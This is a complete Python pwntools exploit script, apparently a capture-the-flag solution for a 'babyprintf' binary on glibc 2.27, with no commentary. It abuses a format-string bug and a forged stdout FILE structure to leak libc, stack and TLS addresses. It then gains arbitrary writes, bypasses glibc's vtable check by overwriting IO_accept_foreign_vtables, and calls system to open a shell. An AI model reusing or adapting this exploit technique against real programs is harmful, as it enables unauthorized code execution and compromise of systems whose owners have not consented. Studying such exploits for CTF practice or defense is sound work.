1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112
| from pwn_debug import * context.log_level='debug'
pwdg=pwn_debug("babyprintf")
pwdg.context.terminal=['tmux', 'splitw', '-h']
pwdg.debug('2.27')
p=pwdg.run("debug")
libc = pwdg.libc
raw_input('a') p.recvuntil('location to ') binary=p.recvuntil('\n')[:-1]
buff=int(binary,16) data=buff-0x10 success('data {}'.format(hex(data))) p.recvuntil('!\n') stdout_offset=buff+0x100 fake_stdout=p64(0xfbad2284|0x8000) fake_stdout+=p64(stdout_offset+116)*3 fake_stdout+=p64(stdout_offset+116)*2 fake_stdout+=p64(stdout_offset+116+6) fake_stdout=fake_stdout.ljust(112,'\x00') fake_stdout+=p32(1) fake_stdout=fake_stdout.ljust(0xd0,'\x00') fake_stdout+=p64(buff);
fmt_s="xxxx%72$p" poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset) poc1=poc1.ljust(0x100,'\x00') poc1+=fake_stdout p.sendline(poc1) p.recvuntil('\n') libc_addr=int('0x'+p.recv(12),16) - libc.symbols['__libc_start_main'] - 238
success('libc {}'.format(hex(libc_addr))) raw_input('a') fmt_s="xxxx%74$p"
poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset) poc1=poc1.ljust(0x100,'\x00') poc1+=fake_stdout p.sendline(poc1) p.recvuntil('\n') stack_addr=int('0x'+p.recv(12),16) success('stack {}'.format(hex(stack_addr)))
raw_input('a') io_check=libc_addr+libc.symbols['_IO_vtable_check'] sh=libc_addr+next(libc.search('/bin/sh')) system=libc_addr+libc.symbols['system'] def write_to(addr,val): fmt_s=val fake_stdout=p64(0xfbad2284|0x8000) fake_stdout+=p64(addr)*5 fake_stdout+=p64(addr+8) fake_stdout=fake_stdout.ljust(112,'\x00') fake_stdout+=p32(1) fake_stdout=fake_stdout.ljust(0xd8,'\x00') fake_stdout+=p64(buff); poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset) poc1=poc1.ljust(0x100,'\x00') poc1+=fake_stdout poc1+=p64(0xdeadbeef)*3 p.sendline(poc1) p.recvuntil('\n')
def rol(x,off): return ((x << off) | (x >> (64-off)))&0xffffffffffffffff
write_to(stack_addr,p64(libc_addr+0x3AF008+1))
fmt_s="xxxxxx%%%d$s"%(74+0xd0/8) poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset) poc1=poc1.ljust(0x100,'\x00') poc1+=fake_stdout p.sendline(poc1) p.recvuntil('\n') tls_addr=u64('\x00'+p.recv(5)+'\x00\x00') success('tls {}'.format(hex(tls_addr)))
write_to(tls_addr+0x1570,'a'*8) write_to(libc_addr+libc.symbols['IO_accept_foreign_vtables'],p64(rol((io_check)^u64('a'*8),17))) fmt_s=p64(stdout_offset+0xd8)[:-2]+'aa' fake_stdout=p32(0xfbad2284|0x8000)+';sh\x00' fake_stdout+=p64(stdout_offset+0xd8)*3 fake_stdout+=p64(stdout_offset+0xd8)*2 fake_stdout+=p64(stdout_offset+0xd8+6) fake_stdout=fake_stdout.ljust(112,'\x00') fake_stdout+=p32(1) fake_stdout=fake_stdout.ljust(0xd8,'\x00') fake_stdout+=p64(buff); poc1=fmt_s.ljust(0x10,'\x00')+p64(stdout_offset) poc1=poc1.ljust(0x100,'\x00') poc1+=fake_stdout poc1+=p64(system)*3 assert len(poc1) < 0x200 raw_input('aaaaaaaaaaaaaaaaaaaaaaaaa') p.sendline(poc1) p.recvuntil('\n')
p.interactive()
|